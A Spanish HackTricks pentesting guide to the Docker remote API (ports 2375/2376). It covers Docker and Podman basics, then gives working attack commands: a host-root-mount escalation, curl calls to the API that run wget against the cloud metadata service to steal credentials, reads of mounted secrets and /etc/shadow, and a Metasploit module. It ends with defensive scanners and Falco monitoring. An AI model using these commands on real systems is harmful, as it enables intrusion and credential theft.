24 KiB
2375, 2376 Pentesting Docker
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Conceptos Básicos de Docker
¿Qué es?
La Plataforma Docker es la plataforma de contenedores líder en la industria para una innovación continua y de alta velocidad, que permite a las organizaciones construir y compartir cualquier aplicación de forma transparente, desde legado hasta lo que viene a continuación, y ejecutarlas de forma segura en cualquier lugar.
Arquitectura básica de Docker
- containerd es un tiempo de ejecución para contenedores que es capaz de gestionar todo el ciclo de vida de un contenedor, incluida la transferencia y almacenamiento de imágenes, así como la ejecución, supervisión y redes del contenedor. Se proporcionan más detalles sobre containerd a continuación.
- El manejo de contenedores sin cabeza es facilitado por container-shim, que sirve como intermediario. Específicamente, después de la inicialización de los contenedores por runc, el control se pasa al container-shim.
- runc es reconocido como un tiempo de ejecución de contenedores ligero y universal que cumple con la especificación OCI. Es utilizado por containerd para iniciar y gestionar contenedores de acuerdo con las especificaciones OCI y representa una versión renombrada de libcontainer.
- Con el propósito de facilitar la comunicación entre containerd y el motor de docker, se emplea grpc.
- La especificación OCI para tiempo de ejecución e imágenes es mantenida por OCI, con las versiones actuales de docker cumpliendo con las especificaciones de imagen y tiempo de ejecución de OCI.
Comandos básicos
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como por cualquier otra plataforma de contenedores que desee abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada que no necesiten. Realísticamente, esto es imposible, pero al menos eso es lo que intentamos. Cosas como la red están fuera del alcance de containerd. La razón de esto es que, al construir un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas de netlink en Linux.
Ten en cuenta que Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker ofrece. Por ejemplo, ContainerD no tiene las características de gestión de red de Docker, ni puedes usar ContainerD solo para crear enjambres de Docker.
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
Un motor de contenedores de código abierto y compatible con OCI (Open Container Initiative) conocido como Podman es mantenido por Red Hat. Se caracteriza por varias distinciones clave con respecto a Docker, incluyendo su estructura sin daemon y el soporte para contenedores que no requieren acceso de root. La función principal de ambas herramientas es gestionar imágenes y contenedores. Un objetivo notable de Podman es la compatibilidad con la API de Docker, lo que permite utilizar casi todos los comandos de la CLI de Docker dentro de Podman.
Dentro del ecosistema de Podman, se encuentran dos herramientas adicionales, Buildah y Skopeo. Buildah sirve como una herramienta de CLI para construir imágenes de contenedores, mientras que Skopeo se utiliza para operaciones en imágenes como push, pull o inspect. Para obtener más información sobre estas herramientas y su integración con Podman, consulte su página de GitHub.
Diferencias Clave
La diferencia más significativa entre Docker y Podman radica en su diseño arquitectónico. Docker opera en un modelo cliente-servidor, lo que requiere el uso de la CLI de Docker para interactuar con un daemon en segundo plano responsable de la construcción de imágenes y la ejecución de contenedores, que opera con privilegios de root. En contraste, Podman emplea una arquitectura sin daemon, lo que permite que los contenedores se ejecuten bajo los privilegios del usuario iniciador sin necesidad de acceso de root. Este diseño asegura que los usuarios de Podman solo puedan interactuar con sus propios contenedores, sin un daemon compartido para la comunicación de la CLI.
Para dar cabida a la operación de contenedores en segundo plano sin un daemon, Podman se integra con systemd, permitiendo la gestión de contenedores a través de unidades de systemd. Esta integración varía con la versión de Podman, ofreciendo la capacidad de generar unidades tanto para contenedores existentes como para aquellos que aún no se han creado, así como facilitando la operación de systemd dentro de los contenedores. A diferencia de Podman, Docker tradicionalmente depende de systemd para la gestión de procesos de daemon.
Otra diferencia crítica radica en la ejecución de contenedores. Podman permite que los contenedores se ejecuten con los privilegios del usuario iniciador, no bajo un daemon. Esto introduce el concepto de contenedores sin root, que pueden iniciarse sin acceso de root, ofreciendo una ventaja de seguridad significativa al limitar el impacto potencial de violaciones de contenedores. Los contenedores sin root garantizan que un atacante de un contenedor comprometido posea solo los privilegios de un usuario normal en el host, evitando la escalada de privilegios más allá de los del usuario iniciador y mejorando así la seguridad.
{% hint style="info" %} Tenga en cuenta que dado que Podman tiene como objetivo admitir la misma API que Docker, puede utilizar los mismos comandos con Podman que con Docker, como:
podman --version
podman info
pdoman images ls
podman ls
{% endhint %}
Información Básica
El API remoto se ejecuta de forma predeterminada en el puerto 2375 cuando está habilitado. El servicio, por defecto, no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de Docker privilegiado. Al utilizar el API remoto, se puede adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.
Puerto predeterminado: 2375
PORT STATE SERVICE
2375/tcp open docker
Enumeración
Manual
Tenga en cuenta que para enumerar la API de Docker, puede utilizar el comando docker
o curl
como en el siguiente ejemplo:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
Si puedes contactar el API remoto de docker con el comando docker
puedes ejecutar cualquiera de los comandos de docker previamente comentados para interactuar con el servicio.
{% hint style="info" %}
Puedes export DOCKER_HOST="tcp://localhost:2375"
y evitar usar el parámetro -H
con el comando docker
{% endhint %}
Escalada rápida de privilegios
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
A veces verás 2376 disponible para el punto final de TLS. No he podido conectarme a él con el cliente de docker, pero puedes hacerlo con curl sin problemas para acceder a la API de docker.
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
Si deseas obtener más información al respecto, puedes encontrar más información en el sitio desde donde copié los comandos: https://securityboulevard.com/2019/02/abusing-docker-api-socket/
Automático
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
Comprometiendo
En la siguiente página puedes encontrar formas de escapar de un contenedor de Docker:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}
Abusando de esto es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
Escalación de privilegios
Si te encuentras dentro de un host que está utilizando Docker, puedes leer esta información para intentar elevar privilegios.
Descubriendo secretos en contenedores Docker en ejecución
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
Verifique env (sección de variables de entorno) en busca de secretos y es posible que encuentres:
- Contraseñas.
- IP's.
- Puertos.
- Rutas.
- Otros... .
Si deseas extraer un archivo:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
Asegurando tu Docker
Asegurando la instalación y uso de Docker
- Puedes usar la herramienta https://github.com/docker/docker-bench-security para inspeccionar tu instalación actual de Docker.
./docker-bench-security.sh
- Puedes usar la herramienta https://github.com/kost/dockscan para inspeccionar tu instalación actual de Docker.
dockscan -v unix:///var/run/docker.sock
- Puedes usar la herramienta https://github.com/genuinetools/amicontained para conocer los privilegios que tendrá un contenedor al ejecutarse con diferentes opciones de seguridad. Esto es útil para comprender las implicaciones de usar ciertas opciones de seguridad para ejecutar un contenedor:
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
Asegurando Imágenes de Docker
- Puedes usar una imagen de Docker de https://github.com/quay/clair para escanear tus otras imágenes de Docker y encontrar vulnerabilidades.
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
Asegurando Dockerfiles
- Puedes usar la herramienta https://github.com/buddy-works/dockerfile-linter para inspeccionar tu Dockerfile y encontrar todo tipo de configuraciones incorrectas. A cada configuración incorrecta se le asignará un ID, puedes encontrar aquí https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md cómo corregir cada una de ellas.
dockerfilelinter -f Dockerfile
- Puedes usar la herramienta https://github.com/replicatedhq/dockerfilelint para inspeccionar tu Dockerfile y encontrar todo tipo de configuraciones incorrectas.
dockerfilelint Dockerfile
- Puedes usar la herramienta https://github.com/RedCoolBeans/dockerlint para inspeccionar tu Dockerfile y encontrar todo tipo de configuraciones incorrectas.
dockerlint Dockerfile
- Puedes usar la herramienta https://github.com/hadolint/hadolint para inspeccionar tu Dockerfile y encontrar todo tipo de configuraciones incorrectas.
hadolint Dockerfile
Registrando Actividades Sospechosas
- Puedes usar la herramienta https://github.com/falcosecurity/falco para detectar comportamientos sospechosos en contenedores en ejecución.
- Observa en el siguiente fragmento cómo Falco compila un módulo del kernel e lo inserta. Después de eso, carga las reglas y comienza a registrar actividades sospechosas. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió una shell dentro de uno de los contenedores.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
Monitoreo de Docker
Puedes usar auditd para monitorear Docker.
Referencias
- https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html
- https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.